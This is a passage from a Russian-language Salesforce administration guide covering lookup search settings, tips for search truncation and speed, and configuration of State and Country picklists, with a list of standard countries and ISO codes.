СМ. ТАКЖЕ:

Поиск по параметрам управления объектами
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Настройка поиска посредством диалогового окна поиска

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: All
Editions except
Database.com

Настройте столбцы, которыедолжныотображатьсяпользователямврезультатахпоиска.

Настройка поиска с помощью диалогового окна поиска в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: All
Editions except
Database.com

Включение расширенного поиска и автозаполнения полей поиска, а также настройка
полей фильтра поиска.

Ниже перечислены способы настройки поисков, доступные администраторам.

• Включение расширенных поисков

• Определение полей фильтра поиска

• Включение функции автозаполнения полей поиска

Включение расширенных поисков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: All
Editions except
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
расширенных поисков:
• «Настройка

приложения»

Расширенные поиски позволяют пользователям использовать специальные символы,
а также сортировать, фильтровать и пролистывать результаты. Расширенные поиски
поддерживаются только организациями, контактами, пользователями, возможностями
и настраиваемыми объектами.

Прим.: Записинастраиваемыхобъектов доступныдляпоиска в пользовательском
интерфейсе Salesforce только при наличии связи между настраиваемым объектом
и настраиваемой вкладкой. Вкладка может не отображаться.

1. Введите «Параметры поиска» в поле «Быстрый поиск» в меню «Настройка», затем
выберите «Параметры поиска».

2. Выберитенужныеобъектывобласти «Параметрыпоиска». Внастоящеевремяданная
функция поддерживается только поисками организаций, контактов, пользователей
и настраиваемых объектов.

3. Нажмите кнопку «Сохранить».

После включения расширенныхпоисков выберите поля, доступные пользователям для
фильтрациирезультатовпоиска. Впротивномслучае, фильтрынемогутиспользоваться
в диалоговых окнах расширенного поиска.Поля, настроенные для использования
расширенныхпоисков, неподдерживаютпоискипоодномусимволу (кромепоисковна китайском, японском, корейском
или тайском языке) и критерии поиска, начинающиеся со специальных символов.
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Прим.: Включение расширенных поисков в организации инициирует их включение для любых создаваемых
страниц Visualforce.

СМ. ТАКЖЕ:

Настройка поиска с помощью диалогового окна поиска в Salesforce Classic

Определение полей фильтра поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: All
Editions except
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения полей
фильтра поиска:
• «Настройка

приложения»

После включения расширенныхпоисков выберите поля, доступные пользователям для
фильтрациирезультатовпоиска. Впротивномслучае, фильтрынемогутиспользоваться
в диалоговых окнах расширенного поиска.

1. В параметрах управления для учетных записей, контактов, возможностей,
пользователей или настраиваемых объектов перейдите к разделу «Макеты поиска».

2. В макете «Поля фильтров поиска» нажмите кнопку «Правка».

3. Чтобы добавить или удалить поля из макета и определить порядок их отображения,
воспользуйтесь стрелками. При необходимости добавьте не более шести полей
фильтра в список «Выбранные поля». Чтобы выбрать несколько отдельных полей,
воспользуйтесь комбинацией CTRL + щелчок. Чтобы выбрать несколько смежных
полей, воспользуйтесь комбинацией SHIFT + щелчок.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка поиска с помощью диалогового окна поиска в Salesforce Classic

Поиск по параметрам управления объектами
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Включение функции автозаполнения полей поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: All
Editions except
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
автозаполнения полей
поиска:
• «Настройка

приложения»

Для использования
функции автозаполнения
полей поиска:
• «Редактирование» для

записи, содержащей
поле поиска

Функция автозаполнения полей поиска позволяет пользователям выбирать элементы
из динамического списка недавно использованных совпадающих записей при
редактировании поля поиска. Данная функция поддерживается только поисками
организаций, контактов, пользователей, возможностей и настраиваемых объектов.

1. Введите «Параметры поиска» в поле «Быстрый поиск» в меню «Настройка», затем
выберите «Параметры поиска».

2. Выберите нужные поиски объектов в области «Параметры поиска». В настоящее
время данная функция поддерживается только поисками организаций, контактов,
возможностей, пользователей и настраиваемых объектов.

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка поиска с помощью диалогового окна поиска в Salesforce Classic

Настройка поиска посредством диалогового окна поиска в Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience.

Доступно в версиях: All
Editions except
Database.com

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения полей
фильтра поиска:
• «Настройка

приложения»

Настройте столбцы, которыедолжныотображатьсяпользователямврезультатахпоиска,
посредствомпараметранастройкимакетапоиска «Результатыпоиска». Данныестолбцы
не поддерживают сортировку и фильтрацию. Они отображают контекстную справку
для определения записи, подлежащей связыванию.

Рекомендуемиспользоватьмакет«Результатыпоиска»настраницепараметранастройки
«Макеты поиска» для изменения полей, которые должны отображаться в результатах
поиска для глобального поиска и поиска посредством диалогового окна поиска.
Отдельное обновление макета «Диалоговые окна поиска» не требуется.

Порядок полей в макете поиска также влияет на дополнительное поле, отображаемое в
мгновенных результатах. Второе пригодное для использования поле, выбранное на
данном этапе, отображается в мгновенных результатах как дополнительное поле.
Примеры полей, непригодных для использования: поля в формате HTML, поля
встроенного изображения и поля подробного текста.

СМ. ТАКЖЕ:

Поиск по параметрам управления объектами в Lightning Experience
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Рекомендации по сокращению результатов поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com.

Пользователисообщают, чтозаписинеотображаютсяврезультатахпоиска? Используйте
эти рекомендации, чтобы помочь пользователям найти нужную им запись.

Поисковая система применяет ограничения по количеству записей, анализируемых на
каждомэтапепроцессапоиска. Ограниченияочень важны, посколькуониспособствуют
производительности и не перегружают пользователей несущественными записями.
Однако пользователи не всегда находят все возможные совпадения, так как запись,
которую они ищут, оказывается за пределами результатов. Такой алгоритм действий
называется скученностьюилиусечениемпоиска. Скученностьобычнонаблюдаетсяпри
следующих условиях.

• У пользователей ограничены полномочия или доступ к записям. Таким образом,
записи, к которым у них есть доступ, могут не входить в набор результатов, отфильтрованных из-за полномочий
доступа.

• Пользователиосуществляютпоисксиспользованиемтермина, которыйсовпадает согромнымколичествомзаписей.
Поскольку совпадение присутствует в таком большом количестве записей, поисковая система не в состоянии
определить, какую конкретно запись ищет пользователь.

Алгоритм релевантности поисковой системы и полномочия общего доступа определяют записи, возвращенные в
результаты поиска, и порядок их отображения. Чтобыизбежать скученности и усечения поиска, необходимо выполнить
следующие условия.

Рекомендуйте пользователям применять более конкретные термины при поиске
Поиск выдает наилучшие результаты, если пользователи вводят уникальный поисковый термин. Acme Компания
Сан-Франциско покажет более релевантные результаты поиска, чем Acme.

Рекомендуйте пользователям сужать диапазон поиска
Когдапользователиработаютнастраницерезультатовпоиска, следуетограничиватьпоисковыйзапростипомобъекта
нужной записи. Поиск выполняется повторно. Потенциально пользователи могли бы видеть больше результатов,
потому что ограничение полного набора результатов применяется в отношении отдельного объекта.

Создание списковых представлений
Создайте представление в виде списка, чтобы просмотреть определенный набор контактов, документов или других
записей объектов, которые вы периодически ищете. Списковые представления не имеют ограничений количества
записей и имеют установленный порядок. Также действуют правила общего доступа.

СМ. ТАКЖЕ:

Ограничения SOSL

Рекомендации по сокращению времени поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com.

Чтобы помочь пользователям сократить время поиска нужной информации,
воспользуйтесь рекомендациями ниже.

Результаты поиска возвращают записи только в том случае, если поле объекта, которое
содержит информацию, соответствующую поисковому запросу, доступно для поиска.

Доступность обновленного текста для поиска может занять не менее 15 минут после
создания или обновления записи объекта, доступного для поиска.

Чтобы сократить время поиска по организации, выполните указанные ниже действия.

450

Настройка поискаНастройка и обслуживание организации Salesforce

https://developer.salesforce.com/docs/atlas.en-us.soql_sosl.meta/soql_sosl/sforce_api_calls_sosl_limits.htm


Выключениефункции поиска для настраиваемых объектов, поиск которых выполняется крайне редко
Чтобы выбрать настраиваемые объекты, доступные пользователям для поиска, включите параметр «Разрешить
поиск»на страниценастройкинастраиваемогообъекта.Чтобыисключить записинастраиваемогообъектаизпоиска,
выключите функцию поиска для нужного настраиваемого объекта. Возможность поиска настраиваемого объекта,
записи которого не требуются пользователям, снижает скорость выполнения поисков по организации.

По умолчаниюфункция поиска выключена для новых настраиваемых объектов.Отключение функции поиска не
сказывается на отчетах и списковых представлениях.

Прим.: Записинастраиваемыхобъектов доступныдляпоиска в пользовательскоминтерфейсе Salesforce только
приналичии связимежду настраиваемымобъектоминастраиваемой вкладкой. Вкладка может не отображаться.

Отказ от одновременного выполнения существенных изменений организации
Одновременное создание или обновление большого количества записей (например, посредством приложения Data
Loader) увеличиваетвремя, необходимоекаждойзаписинадоступностьдляпоиска. Приналичиикрупнойорганизации,
содержащейбольшоеколичествопользователей, которыечастовыполняютодновременныеобновления, рекомендуем
планировать выполнение пакетных загрузок и фоновых процессов на непиковые часы работы.

Раскрывающиеся списки «Область» и «Страна»

Раскрывающиеся списки «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Раскрывающиеся списки «Область» и «Страна» позволяют пользователям выбирать
области и страны из предопределенных стандартных списков вместо ввода области и
страны в текстовые поля. Раскрывающиеся списки «Область» и «Страна» позволяют
ускорить процесс ввода данных, а также гарантировать их достоверность и
стандартизированное применение другими пользователями (например, в отчетах и
панелях мониторинга). Раскрывающиеся списки обеспечивают целостность данных
путемисключенияопечаток, альтернативныхнаписанийинежелательныхданных (даже
в записях, обновленныхпосредствоминтерфейсаAPI). Областиистраны, используемые
враскрывающихсясписках, опираютсяна стандартныезначения ISO-3166, поэтомумогут
поддерживаться другими приложениями.

Раскрывающиеся списки «Область» и «Страна» доступны в адресных полях для отгрузки, биллинга, отправки почтой и
др. стандартныхобъектов (организации, участникикампании, контакты, контракты, интересы, заказы, организации-лица,
сметы и сервисные контракты). Кроме того, раскрывающиеся списки доступны для управления пользователями и
компаниями в разделе «Параметры администратора». Чтобы воспользоваться раскрывающимися списками, сначала
выберите страну, а затем один из вариантов, отображающихся в раскрывающемся списке «Область» автоматически.

Раскрывающиеся списки «Область» и «Страна» могут использоваться в большинстве областей системы Salesforce,
содержащих поля области и страны, включая:

• Страницы просмотра и редактирования сведений о записи

• Списковые представления, отчеты и панели мониторинга

• Фильтры, функции, правила и назначения

Раскрывающиеся списки «Область» и «Страна» доступны для поиска, а также поддерживаются средством перевода.

451

Раскрывающиеся списки «Область» и «Страна»Настройка и обслуживание организации Salesforce



Ограничения для раскрывающихся списков «Область» и «Страна»
По умолчанию раскрывающиеся списки «Область» и «Страна» содержат 239 стран. Кроме того, они содержат области и
штаты США, Канады, Австралии, Бразилии, Китая, Индии, Ирландии, Италии иМексики. Раскрывающиеся списки
«Область» и «Страна», содержащие более 1 000 областей или стран, могут снизить производительность системы. Ниже
перечислены компоненты, которые не поддерживают раскрывающиеся списки «Область» и «Страна».

• Salesforce to Salesforce

• Salesforce Classic Mobile

• Connect Offline

• Visual Workflow или наборы изменений

• Настраиваемые индексы

ЕслиорганизацияиспользуетData.com, то записиData.comмогут содержатьобластиистраны, которыенеподдерживаются
стандартнымираскрывающимисясписками «Область» и «Страна». ЧтобыразрешитьпользователямData.comдобавление
и очистку данных записей, рекомендуем добавить соответствующие области и страны в раскрывающиеся списки. Ниже
перечисленыобластиистраны, которыедолжныбытьдобавленывраскрывающиесясписки (приусловииихиспользования
организацией).

• Восточное Самоа (AS)

• Гуам (GU)

• Гонконг (HK)

• Маршалловы острова (MH)

• Нидерландские Антиллы (AN)

• СеверныеМарианские острова (MP)

• Сербия и Черногория (CS)

• Малые Тихоокеанские отдаленные острова СоединенныхШтатов (UM)

Отчеты по полям области и страны отображаютметки раскрывающихся списков, а не значения кода. Чтобы отображать
сокращенные значения кода при просмотре имен областей или стран, замените метки «Имя области» и «Имя страны»
значениямикода вручную. (Дополнительныеинструкциипоредактированиюсм. вразделе «Настройкараскрывающихся
списков "Область" и "Страна"» на странице 454.) Чтобы просмотреть значения кода записей, воспользуйтесь полями
StateCode и CountryCode в средстве перевода или приложении Data Loader.

Внедрение раскрывающихся списков «Область» и «Страна»
Чтобыпреобразовать текстовыеполя «Область» и «Страна» в раскрывающиеся списки «Область» и «Страна», выполните
указанные ниже действия.

1. Настройте значения областей и стран, которые должны использоваться в организации.

Данноедействиеявляетсяобязательным, таккакпозволяетнастраиватьзначенияобластейистран, а такжегарантировать
их совместимость со сторонними системами, интегрированными в систему Salesforce.

2. Чтобыопределитьпоследствиявключенияраскрывающихсясписков, просканируйтеданныеинастройкиорганизации.

Использование нового типа поля будет доступно только после преобразования данных и обновления некоторых
настроек (например, списковые представления, отчеты и бизнес-правила).

3. Преобразуйте текущие данные.
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Процесс преобразования позволяет соотносить разные значения, используемые в организации, со стандартными
значениямираскрывающегосясписка. Например, значения «РоссийскаяФедерация», «РФ» и «RU» могутбытьсоотнесены
со значением «Россия».

4. Включите поддержку раскрывающихся списков для пользователей.

Привключениираскрывающихся списков «Область» и «Страна» безнастройкизначений, сканированияорганизации
и преобразования текущих данных, пользователи смогут использовать раскрывающиеся списки в новых записях, но
все текущие данные будут противоречить новому формату, а их целостность может быть нарушена.

5. Принеобходимостиповторитесканированиеиисправьтенастройкиилизаписи, созданныеилиотредактированные
после первого сканирования.

Подробные инструкции по внедрению раскрывающихся списков «Область» и «Страна» см. в разделе «Внедрение
раскрывающихся списков "Область" и "Страна"».

Значения интеграции для раскрывающихся списков «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Значение интеграции — это настраиваемое текстовое значение, связанное с кодом
области или страны. По умолчанию значения интеграции для стандартных областей и
стран соответствуют полным именам ISO областей и стран. Значения интеграции
используются аналогично API-именам настраиваемых полей и объектов. Настройка
значений интеграции позволяет интеграциям, настроенным до включения
раскрывающихся списков «Область» и «Страна», продолжить свою работу.

При включении раскрывающихся списков «Область» и «Страна» текстовые поля
«Область/штат» и «Страна» используютсякакполя «Значение интеграции». Вотчетах
исписковыхпредставленияхполя «Значение интеграции» называются «Область/штат
(только текст)» и «Страна (только текст)». Кроме того, для каждого из полей
«Область/штат (только текст)» и «Страна (только текст)» создаетсяполе «Код области» или «Код страны» типа
«Раскрывающийся список». Значения раскрывающихся списков «Область» и «Страна», настроенные в организации,
определяют доступные значения для данных полей кода.

Каждому значению раскрывающегося списка «Область» или «Страна» соответствуют следующие поля: «Активно»,
«Доступно», «Имя», «Код» и «Значение интеграции». Все раскрывающиеся списки «Область» и «Страна» (для полей
«Адрес для счета», «Адрес отправки» и т. д.) могут иметь доступ к значениям раскрывающихся списков «Область» и
«Страна», созданным пользователем. Сохранение кода области или страны позволяет записям получать доступ к другой
информации об областях и странах.

По умолчанию поля «Имя» и «Значение интеграции» для областей и стран содержат одинаковые значения. Значение
поля «Имя» отображается пользователям, работающим с раскрывающимся списком. Ниже перечислены компоненты,
использующие поле «Значение интеграции».

• Классы и триггеры Apex

• Страницы Visualforce

• Запросы SOQL

• Запросы и интеграции API

• Правила назначения, автоматического ответа, проверки и расширения

• Бизнес-правила

• Шаблоны эл. почты

• Настраиваемые кнопки и ссылки
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• Настройки наборов полей

• Отчеты и списковые представления

Обновление значения кода для записиинициирует заполнение столбца «Область/штат (только текст)» или «Страна
(только текст)» данной записи соответствующимзначениеминтеграции. Аналогичнымобразом, обновление столбца
«(только текст)» областиилистраныдопустимымзначениеминтеграциипозволяетсинхронизироватьсоответствующий
столбец кода области или страны. При необходимости измените значения интеграции организации после включения
раскрывающихся списков «Область» и «Страна». Тем не менее, обновление значений интеграции в раскрывающихся
списках не инициирует обновление значений интеграции в записях. Значения имен не сохраняются в записях. Вместо
этого они извлекаются из Salesforce в зависимости от кода штата или кода страны, указанного для записи. Если области
или страны в ваших списках имеютотличные значенияполей «Имя» и «Значение интеграции», убедитесь, что в вашем
отчетефильтрыиспользуюткорректныезначения. Используйтеименавфильтрах Область и Страна, иинтеграционные
значения вфильтрах Область(только текст) и Страна(только текст). Иначе в ваших отчетах не удастся отобразить все
нужные записи.

Чтобы отредактировать значения интеграции, воспользуйтесь меню «Настройка» или интерфейсомMetadata API. Поля
«Имя» областейистранмогутредактироваться толькопосредствомменю «Настройка». Прииспользованииинтерфейса
Metadata API поля «Имя» и «Значение интеграции» называются label и integrationValue соответственно.

СМ. ТАКЖЕ:

Раскрывающиеся списки «Область» и «Страна»

Редактирование сведений об области и стране

Логика синхронизации полей раскрывающихся списков «Область» и «Страна»

Сообщения об ошибках в раскрывающихся списках «Область» и «Страна»

Настройка раскрывающихся списков «Область» и «Страна»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
раскрывающихся списков
«Область» и «Страна»:
• «Изменение всех

данных»

Благодаря настройке раскрывающихся списков «Область» и «Страна», пользователи
могут выбирать области и страны, которые должны быть доступны в организации
Salesforce. Данныйпроцесс активируетдоступностьраскрывающихсясписков «Область»
и «Страна» для выполнения разных задач (например, импорт данных, использование
внешних систем и предоставление доступа вMetadata API). Доступ пользователей к
раскрывающимся спискам «Область» и «Страна» может быть предоставлен без их
предварительной настройки; тем не менее, настоятельно рекомендуем ее выполнение.
Настройка раскрывающихся списков позволяет гарантировать целостность данных и
настроек для текущих областей и стран.

Области илиштаты могут быть настроены только после настройки соответствующей
страны. По умолчанию раскрывающиеся списки «Область» и «Страна» содержат
239 стран. Кроме того, они содержат области и штаты США, Канады, Австралии,
Бразилии, Китая, Индии, Ирландии, Италии иМексики. Раскрывающиеся списки
«Область» и «Страна», содержащие более 1 000 областей или стран, могут снизить
производительность системы. Полный список стандартных стран см. в разделе
«Стандартные страны для адресных раскрывающихся списков».

Прим.:

• Значенияинтеграциидляраскрывающихсясписков «Область» и «Страна» могут
быть также настроены посредствомMetadata API. Дополнительные сведения о
компоненте AddressSettings см. в Руководстве разработчика Metadata API.
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• Раскрывающиеся списки «Область» и «Страна» не поддерживаются наборами изменений и пакетами Salesforce.
Тем не менее, изменения значений интеграции для раскрывающихся списков «Область» и «Страна» могут
переноситься между безопасными и производственными организациями посредствомMetadata API. Сначала
настройте раскрывающиеся списки «Область» и «Страна» в безопасной организации. Затем извлеките
конфигурации безопасной среды посредствомMetadata API и разверните их в производственной организации.

1. В разделе «Настройка» введите «Раскрывающиеся списки "Область" и "Страна"» в поле «Быстрый поиск», затем
выберите «Раскрывающиеся списки "Область" и "Страна"».

2. Щелкните «Настроитьобластиистраны»на странице «Настройкараскрывающихсясписков "Область" и "Страна"».

3. Заполните поля ниже.

Активно
Данныйфлажок активирует страну вMetadata API и позволяет импортировать соответствующие записи. Тем не
менее, при отсутствии флажка «Доступно» страна не отображается пользователям Salesforce.

Доступно
Данныйфлажок активирует страну для пользователей Salesforce. Флажок «Доступно» может быть установлен
только после установки флажка «Активно».

4. Чтобы просмотреть и изменить сведения о стране, включая ее области илиштаты, щелкните «Правка».

5. При необходимости установите флажок «Стандартная страна» в разделе «Параметры раскрывающихся списков».
Флажок «Стандартнаястрана» автоматическизаполняетполестранывновыхзаписяхорганизации; принеобходимости
пользователь может выбрать другую страну. Стандартные страны должны быть активны и доступны.

6. Чтобы сохранить конфигурацию, нажмите кнопку «Сохранить».

Прим.: При отсутствии флажка «Доступно» активные области и страны могут использоваться как допустимые
значения фильтрации поиска. Недоступные области и страны могут использоваться при создании фильтров для
отчетов, списковых представлений, бизнес-правил и т. д.

СМ. ТАКЖЕ:

Редактирование сведений об области и стране

Раскрывающиеся списки «Область» и «Страна»

Значения интеграции для раскрывающихся списков «Область» и «Страна»

Стандартные страны для адресных раскрывающихся списков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Стандартные страны
Ниже перечислены 239 стран, поддерживаемые системой Salesforce по умолчанию.
Звездочка (*) указывает на доступность областей илиштатов.

СтранаКод ISO

АндорраAD

ОАЭAE

АфганистанAF
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СтранаКод ISO

Антигуа и БарбудаAG

АнгильяAI

АлбанияAL

АрменияAM

АнголаAO

АнтарктидаAQ

АргентинаAR

АвстрияAT

Австралия*AU

АрубаAW

Аландские островаAX

АзербайджанAZ

Босния и ГерцеговинаBA

БарбадосBB

БангладешBD

БельгияBE

Буркина-ФасоBF

БолгарияBG

БахрейнBH

БурундиBI

БенинBJ

Сент-БартелемиBL

БермудыBM

Бруней-ДаруссаламBN

БоливияBO

Бонайре, Синт-Эстатиус и СабаBQ

Бразилия*BR

БагамыBS

БутанBT

Остров БувеBV
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СтранаКод ISO

БотсванаBW

БелоруссияBY

БелизBZ

Канада*CA

Кокосовые островаCC

Демократическая Республика КонгоCD

Центрально-Африканская РеспубликаCF

КонгоCG

ШвейцарияCH

Кот-д'ИвуарCI

Острова КукаCK

ЧилиCL

КамерунCM

Китай*CN

КолумбияCO

Коста-РикаCR

КубаCU

Кабо-ВердеCV

КюрасаоCW

Остров РождестваCX

КипрCY

ЧехияCZ

ГерманияDE

ДжибутиDJ

ДанияDK

ДоминикаDM

Доминиканская РеспубликаDO

АлжирDZ

ЭквадорEC

ЭстонияEE
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СтранаКод ISO

ЕгипетEG

Западная СахараEH

ЭритреяER

ИспанияES

ЭфиопияET

ФинляндияFI

ФиджиFJ

Фолклендские (Мальвинские) островаFK

Фарерские островаFO

ФранцияFR

ГабонGA

ВеликобританияGB

ГренадаGD

ГрузияGE

Французская ГвианаGF

ГернсиGG

ГанаGH

ГибралтарGI

ГренландияGL

ГамбияGM

ГвинеяGN

ГваделупаGP

Экваториальная ГвинеяGQ

ГрецияGR

Южная Джорджия иЮжные СандвичевыОстроваGS

ГватемалаGT

Гвинея-БисауGW

ГайанаGY

Остров Херд и острова МакдональдHM

ГондурасHN
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СтранаКод ISO

ХорватияHR

ГаитиHT

ВенгрияHU

ИндонезияID

Ирландия*IE

ИзраильIL

Остров МэнIM

Индия*IN

Британская территория Индийского океанаIO

ИракIQ

Исламская Республика ИранIR

ИсландияIS

Италия*IT

ДжерсиJE

ЯмайкаJM

ИорданияJO

ЯпонияJP

КенияKE

КиргизияKG

КамбоджаKH

КирибатиKI

Коморские островаKM

Сент-Китс и НевисKN

Корейская Народно-Демократическая РеспубликаKP

Республика КореяKR

КувейтKW

Каймановы островаKY

КазахстанKZ

Лаосская Народно-Демократическая РеспубликаLA

ЛиванLB

459

Раскрывающиеся списки «Область» и «Страна»Настройка и обслуживание организации Salesforce



СтранаКод ISO

Сент-ЛюсияLC

ЛихтенштейнLI

Шри-ЛанкаLK

ЛиберияLR

ЛесотоLS

ЛитваLT

ЛюксембургLU

ЛатвияLV

Ливийская Арабская ДжамахирияLY

МароккоMA

МонакоMC

Республика МолдоваMD

ЧерногорияME

Сен-Мартен (французская часть)MF

МадагаскарMG

Македония (БывшаяЮгославская Республика)MK

МалиML

МьянмаMM

МонголияMN

МакаоMO

МартиникаMQ

МавританияMR

МонтсерратMS

МальтаMT

МаврикийMU

МальдивыMV

МалавиMW

Мексика*MX

МалайзияMY

МозамбикMZ
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СтранаКод ISO

НамибияNA

Новая КаледонияNC

НигерNE

Остров НорфолкNF

НигерияNG

НикарагуаNI

НидерландыNL

НорвегияNO

НепалNP

НауруNR

НиуэNU

Новая ЗеландияNZ

ОманOM

ПанамаPA

ПеруPE

Французская ПолинезияPF

Папуа-Новая ГвинеяPG

ФилиппиныPH

ПакистанPK

ПольшаPL

Сен-Пьер иМикелонPM

ПиткернPN

ПалестинаPS

ПортугалияPT

ПарагвайPY

КатарQA

РеюньонRE

РумынияRO

СербияRS

Российская ФедерацияRU
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СтранаКод ISO

РуандаRW

Саудовская АравияSA

Соломоновы островаSB

СейшелыSC

СуданSD

ШвецияSE

СингапурSG

Острова Святой Елены, Вознесения и Тристан-да-КуньяSH

СловенияSI

Шпицберген и Ян-МайенSJ

СловакияSK

Сьерра-ЛеонеSL

Сан-МариноSM

СенегалSN

СомалиSO

СуринамSR

Южный СуданSS

Сан-Томе и ПринсипиST

СальвадорSV

Синт-Мартен (нидерландская часть)SX

Сирийская Арабская РеспубликаSY

СвазилендSZ

Острова Теркс и КайкосTC

ЧадTD

Французские южные территорииTF

ТогоTG

ТаиландTH

ТаджикистанTJ

ТокелауTK

Восточный ТиморTL
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СтранаКод ISO

ТуркменистанTM

ТунисTN

ТонгаTO

ТурцияTR

Тринидад и ТобагоTT

ТувалуTV

ТайваньTW

Объединенная Республика ТанзанияTZ

УкраинаUA

УгандаUG

США*US

УругвайUY

УзбекистанUZ

ВатиканVA

Сен-Винсент и ГренадиныVC

Боливарианская республика ВенесуэлаVE

Британские Виргинские островаVG

ВьетнамVN

ВануатуVU

Уоллис и ФутунаWF

СамоаWS

ЙеменYE

МайоттаYT

ЮАРZA

ЗамбияZM

ЗимбабвеZW
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Редактирование сведений об области и стране

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления или
редактирования сведенийоб
области или стране:
• «Изменение всех

данных»

Система позволяет добавлять области и страны в организацию или редактировать
значениятекущихобластейистраннастраницесведенийобобластиилистране. Чтобы
добавитьилиотредактировать область илиштат, откройте соответствующуюстраницу
сведений со страницы сведений о связанной стране.

1. Вразделе «Настройка» введите «Область» вполе «Быстрый поиск», затемвыберите
«Раскрывающиеся списки "Область" и "Страна"».

2. Щелкните «Настройка областей и стран».

3. Чтобыдобавитьстрану, нажмитекнопку«Создатьстрану». Чтобыизменитьстрану,
щелкните «Правка».

4. Заполните поля раздела «Сведения о стране».

Имя страны
По умолчанию имя ISO. Имя, отображаемое пользователям в пользовательском
интерфейсе Salesforce.

Код страны
По умолчанию двухбуквенный код ISO. При изменении кода ISO новое значение
должнобытьуникальным. Кодынечувствительныкрегиструидолжнысодержать
толькоцифрыисимволы ASCII. Коды ISO немогутбытьизмененыдлястандартных
областей или стран. Коды настраиваемых областей и стран не могут быть отредактированы после включения
данных областей и стран для пользователей.

Значение интеграции

Настраиваемое текстовое значение, связанное с кодом области или страны. По умолчанию значения интеграции
для стандартных областей и стран соответствуют полным именам ISO областей и стран. Значения интеграции
используютсяаналогичноAPI-именамнастраиваемыхполейиобъектов. Настройказначенийинтеграциипозволяет
интеграциям, настроенным до включения раскрывающихся списков «Область» и «Страна», продолжить свою
работу.

При необходимости отредактируйте значения интеграции в соответствии со значениями, которые могут
использоваться другими компонентами организации. Например, организация создает бизнес-правило,
использующее значение «США» вместо стандартного значения «Соединенные Штаты». Если страна «США»
выбирается как значение интеграции вручную, то включение раскрывающихся списков «Область» и «Страна» не
препятствует выполнению бизнес-правила.

Обновление значения кода для записи инициирует заполнение столбца «Область/штат (только текст)» или
«Страна (только текст)» данной записи соответствующим значением интеграции. Аналогичным образом,
обновление столбца «(только текст)» области или страны допустимым значением интеграции позволяет
синхронизировать соответствующий столбец кода области или страны. При необходимости измените значения
интеграции организации после включения раскрывающихся списков «Область» и «Страна». Тем не менее,
обновление значений интеграции в раскрывающихся списках не инициирует обновление значений интеграции
в записях. Значения имен не сохраняются в записях. Вместо этого они извлекаются из Salesforce в зависимости от
кода штата или кода страны, указанного для записи. Если области или страны в ваших списках имеют отличные
значенияполей «Имя» и «Значение интеграции», убедитесь, чтоввашемотчетефильтрыиспользуюткорректные
значения. Используйте имена в фильтрах Область и Страна, и интеграционные значения в фильтрах
Область(только текст) и Страна(только текст). Иначе в вашихотчетахне удастсяотобразить всенужные записи.
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Активно
Данныйфлажок активирует страну вMetadata API и позволяет импортировать соответствующие записи. Тем не
менее, при отсутствии флажка «Доступно» страна не отображается пользователям Salesforce.

Доступно
Данныйфлажок активирует страну для пользователей Salesforce. Флажок «Доступно» может быть установлен
только после установки флажка «Активно».

5. При добавлении страныщелкните «Добавить».

6. При редактировании страны заполните поля для областей.

Активно
Данныйфлажок активирует область вMetadata API и позволяет импортировать соответствующие записи. Тем не
менее, при отсутствии флажка «Доступно» область не отображается пользователям Salesforce.

Доступно
Данныйфлажок активирует область для пользователей Salesforce. Флажок «Доступно» может быть установлен
только после установки флажка «Активно».

7. При необходимости выполните одно из указанных ниже действий.

• Чтобыдобавитьнастраиваемуюобластьилиштат, щелкните «Создатьобласть». Заполнитеполя «Имя области»,
«Код области» и «Значение интеграции», а также установитефлажок «Активно» или «Доступно» на странице
«Создать область». Чтобы сохранить новую область, щелкните «Добавить».

• Чтобы просмотреть и изменить сведения об области илиштате, включая поля «Имя области», «Код области»
и «Значение интеграции», щелкните «Правка».

8. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка раскрывающихся списков «Область» и «Страна»

Раскрывающиеся списки «Область» и «Страна»

Значения интеграции для раскрывающихся списков «Область» и «Страна»

Раскрывающиеся списки «Область» и «Страна» в Metadata API

Раскрывающиеся списки «Область» и «Страна» в Metadata API

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Приредактированиибольшогоколичества значенийинтеграциидляраскрывающихся
списков «Область» и «Страна» рекомендуем использоватьMetadata API.

ПринеобходимостивоспользуйтесьMetadata API дляредактирования текущихобластей
и стран в раскрывающихся списках «Область» и «Страна». Metadata API не может
использоваться для создания или удаления новых областей и стран.Сначала настройте
раскрывающиеся списки «Область» и «Страна» в безопасной организации. Затем
извлеките конфигурации безопасной среды посредствомMetadata API и разверните их
в производственной организации. Чтобы получить сведения об использовании
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раскрывающихся списков «Область» и «Страна» вMetadata API, найдите компонентAddressSettings вРуководстверазработчика
